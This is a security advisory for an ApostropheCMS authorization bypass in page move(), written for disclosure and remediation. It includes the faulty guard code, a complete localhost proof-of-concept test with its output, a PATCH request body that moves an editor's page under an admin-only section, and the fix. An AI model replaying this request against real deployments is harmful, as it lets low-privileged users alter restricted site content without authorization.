GHSA-wr5r-wqp2-x4fh CVE-2026-63669
ApostropheCMS: Missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 24.03% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
4.32.0- Upgrade apostrophe to this version or later
Description
Summary
ApostropheCMS enforces per-type authorization on pages: a page type may declare editRole / publishRole (and the core @apostrophecms/archive-page does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The move() operation is supposed to enforce that a page may only be moved into a parent the actor has create rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with .permission('create')).
A regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit). Because the final && clause requires oldParent.type === '@apostrophecms/archive-page', the whole conjunction can only be true while restoring a page out of the archive. For any ordinary move (the source page's old parent is a normal page), that clause is false, the entire condition is false, and !parent._create is never evaluated. The only surviving gate in the whole path is moved._edit — i.e. "can the actor edit the page being moved", which a low-privileged editor legitimately holds for their own ordinary pages.
The result is that any authenticated user who can edit at least one page can relocate that page under a parent of a restricted type they have no create/edit rights over, and in doing so trigger an unauthenticated, unchecked updateMany that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented PATCH/PUT /api/v1/@apostrophecms/page/:_id REST routes via the attacker-controlled _targetId / _position body fields.
Affected code (4.31.0)
The broken guard in move() — packages/apostrophe/modules/@apostrophecms/page/index.js:
if (!moved._edit) {
throw self.apos.error('forbidden');
}
if (!(parent && oldParent)) {
// Move outside tree
throw self.apos.error('forbidden');
}
if (
(oldParent._id !== parent._id) &&
(parent.type !== '@apostrophecms/archive-page') &&
(!parent._create) &&
(oldParent.type === '@apostrophecms/archive-page' && !parent._edit) // <-- regression: gates the whole check on "moving out of the archive"
) {
throw self.apos.error('forbidden');
}
The target/parent is fetched with permission filtering explicitly OFF (so the guard above is the only thing that is supposed to enforce destination authorization) — getTarget():
const target = await self.findForEditing(_req, criteria)
.permission(false) // target is located regardless of the actor's rights
.archived(null)
.areas(false)
.ancestors({ depth: 1, ... permission: false })
.children({ depth: 1, ... permission: false }).toObject();
The privileged sink that then runs unguarded — nudgeNewPeers() re-ranks the destination parent's existing children with a raw DB write and no permission check:
async function nudgeNewPeers() {
const locale = moved.aposLocale.split(':')[0];
const criteria = {
path: self.matchDescendants(parent),
aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] },
level: parent.level + 1,
rank: { $gte: rank }
};
// Nudge down the pages that should now follow us
await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } });
...
}
The REST entry point — the patch route reaches move() after only the moved._edit gate, with attacker-controlled _targetId / _position:
const page = await self.findOneForEditing(req, { _id });
...
if (!page._edit) {
throw self.apos.error('forbidden');
}
...
if (input._targetId) {
const targetId = self.apos.launder.string(input._targetId);
const position = self.apos.launder.string(input._position);
modified = await self.move(req, page._id, targetId, position);
}
For comparison, the sibling page-insert route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets notfound:
// post route (insert)
const target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied
Provenance (introduced regression)
The guard was correct until commit 9f72bd229be07e537a2ae894f4527f2fe6bcd3bd ("allow restore pages"), which changed it from (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) to the four-clause version above. The intent was to stop legitimate archive restores (where parent._create can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire _create enforcement on oldParent being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0).
Attacker model / precondition
The attacker is a low-privileged but content-editing authenticated user — in the core role model an editor or (in draft mode) a contributor — who can edit at least one ordinary page. No admin rights, no special tokens.
The differentiated-permission boundary that makes this a bypass must exist in the project. In core, permission.can(req, 'create'/'edit', type) is computed per page-type via checkRoleConfig('editRole'), so the boundary is present whenever a project configures a page type (or the archive) with an editRole / publishRole higher than the actor's role, or uses per-page editPermission / the @apostrophecms/workflow add-on to make _edit / _create page-specific. The core @apostrophecms/archive-page already ships editRole: 'admin' / publishRole: 'admin', and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass.
Impact
A user with no create/edit rights over a restricted page-type subtree can:
- Relocate a page they control into that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and
- Cause an unchecked
updateManyto re-rank the restricted parent's existing children — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit.
This is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch.
Proof of Concept (complete — runs on 127.0.0.1 only)
The PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real apos.page.move() code path with a non-admin editor request. It creates an admin-only section page type (editRole: 'admin'), an admin-owned secret section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked.
Environment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm.
# 1. Disposable MongoDB on 127.0.0.1
docker run -d --name apos-mongo -p 27017:27017 mongo:7
# 2. Repo at the anchor
git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe
cd /tmp/dh-apostrophe
git checkout 68f1312d3 # 4.31.0 line
npm i -g pnpm
pnpm install --filter apostrophe...
# 3. Drop in the PoC test and run it
cd /tmp/dh-apostrophe/packages/apostrophe
# (write test/poc-move-bac.js below, then:)
npx mocha test/poc-move-bac.js
packages/apostrophe/test/poc-move-bac.js:
// PoC: Broken Access Control in apos.page.move()
// A non-admin (editor) can move a page they may edit UNDER a parent page
// whose type is admin-only (editRole: 'admin'), bypassing the destination
// "create" permission check that move() is supposed to enforce.
const t = require('../test-lib/test.js');
const assert = require('assert');
describe('PoC move BAC', function() {
let apos;
this.timeout(t.timeout);
after(async function() {
await t.destroy(apos);
apos = null;
});
before(async function() {
apos = await t.create({
root: module,
modules: {
// A restricted page type: only admins may edit/create pages of this type.
'secret-page': {
extend: '@apostrophecms/page-type',
options: {
editRole: 'admin',
publishRole: 'admin'
}
},
// An ordinary page type any editor can edit/create.
'public-page': {
extend: '@apostrophecms/page-type'
},
'@apostrophecms/page': {
options: {
park: [],
types: [
{ name: '@apostrophecms/home-page', label: 'Home' },
{ name: 'secret-page', label: 'Secret' },
{ name: 'public-page', label: 'Public' }
]
}
}
}
});
});
it('demonstrates the BAC', async function() {
const adminReq = apos.task.getReq({ role: 'admin' });
const home = await apos.page.find(adminReq, { level: 0 }).toObject();
// Admin creates an admin-only "secret" section page directly under home.
const secret = await apos.page.insert(adminReq, home._id, 'lastChild', {
title: 'Secret Section',
type: 'secret-page',
slug: '/secret'
});
// Admin creates a pre-existing CHILD inside the secret section. Its rank
// must NOT be silently rewritten by a lower-priv user's move.
const secretChild = await apos.page.insert(adminReq, secret._id, 'lastChild', {
title: 'Secret Child',
type: 'secret-page',
slug: '/secret/child'
});
const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();
// A non-admin EDITOR. Editors can edit/create ordinary pages but NOT
// pages of type secret-page (editRole: admin).
const editorReq = apos.task.getReq({
role: 'editor',
user: { _id: 'editor-user', title: 'Editor', role: 'editor' }
});
// The editor creates an ordinary page under home (allowed).
const mine = await apos.page.insert(editorReq, home._id, 'lastChild', {
title: 'My Page',
type: 'public-page',
slug: '/mine'
});
// Sanity: confirm the editor genuinely lacks create/edit rights on the
// secret section (so a move under it MUST be forbidden).
const secretForEditor = await apos.page.find(editorReq, { _id: secret._id })
.permission(false).toObject();
console.log('PRECONDITION editor._create on secret =', secretForEditor._create,
' editor._edit on secret =', secretForEditor._edit);
assert.strictEqual(secretForEditor._create, undefined,
'precondition: editor must NOT have create rights on the admin-only section');
// THE ATTACK: editor moves their ordinary page UNDER the admin-only
// secret section. This SHOULD throw "forbidden". If it succeeds, BAC.
// Use 'firstChild' so the moved page takes rank 0 and the pre-existing
// admin-only child must be nudged from rank 0 -> 1 (a write to a doc the
// editor cannot edit).
let moveError = null;
try {
await apos.page.move(editorReq, mine._id, secret._id, 'firstChild');
} catch (e) {
moveError = e;
}
const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject();
const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject();
console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)');
console.log('moved page path:', moved && moved.path);
console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId));
console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank);
// Assertions that prove the vulnerability:
assert.strictEqual(moveError, null,
'VULN NOT PRESENT: move was correctly forbidden');
assert.ok(moved.path.includes(secret.aposDocId),
'VULN: editor relocated their page under the admin-only section');
assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank,
'VULN: editor re-ranked an admin-only sibling page they cannot edit');
console.log('\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***');
});
});
Observed output (4.31.0, commit 68f1312d3):
PoC move BAC
Listening at http://localhost:34129
PRECONDITION editor._create on secret = undefined editor._edit on secret = undefined
move threw: NOTHING (move succeeded)
moved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d
moved page is now under secret? true
secret child rank BEFORE: 0 AFTER: 1
*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***
✔ demonstrates the BAC (390ms)
1 passing (6s)
The precondition holds (editor._create on secret = undefined), the move did not throw (NOTHING), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft with body { "_targetId": "<restrictedSectionId>:en:draft", "_position": "firstChild" } (the route reaches move() after only the page._edit gate on the moved page).
Remediation
Restore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to:
if (
(oldParent._id !== parent._id) &&
(parent.type !== '@apostrophecms/archive-page') &&
(!parent._create) &&
!(oldParent.type === '@apostrophecms/archive-page' && parent._edit)
) {
throw self.apos.error('forbidden');
}
That is: a cross-parent move into a non-archive destination is forbidden unless the actor has create on the destination — with the single exception that restoring a page out of the archive into a destination the actor may edit is allowed. Equivalently, fetch the destination with .permission('create') (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher editRole/publishRole, mirroring the PoC above.
Please credit 5ud0 / Tarmo Technologies.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| apostrophe | < 4.32.0 |
4.32.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
apostrophe npm → 4.32.0
- npm
npm install apostrophe@4.32.0- yarn
yarn add apostrophe@4.32.0- pnpm
pnpm add apostrophe@4.32.0
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-86wm-68pq-5jwq ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export | High | Also affects apostrophe |
| GHSA-653j-g8j7-gh54 ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing | Medium | Also affects apostrophe |
| GHSA-vwwx-px9w-crrc ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints | Low | Also affects apostrophe |
| GHSA-vmxh-77cw-65j7 ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers | Medium | Also affects apostrophe |
| GHSA-m2m5-rw3w-cwmj ApostropheCMS: Client-side Prototype Pollution in apos.http.parseQuery leading to DOM-based XSS against authenticated users | Medium | Also affects apostrophe |
| GHSA-gqh3-7856-rjjg ApostropheCMS: :_id/locales REST route omits the public-API authorization gate its sibling read routes enforce (unauthenticated doc-existence + locale metadata disclosure) | Medium | Also affects apostrophe |
| GHSA-hhvr-8m24-qqr3 ApostropheCMS: Cross-domain session token in URL confers session takeover | Medium | Also affects apostrophe |
| GHSA-j5rq-xfvr-p969 ApostropheCMS: Authenticated projection-exclusion prototype-member deletion in @apostrophecms/db-connect causes process-wide denial of service | High | Also affects apostrophe |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor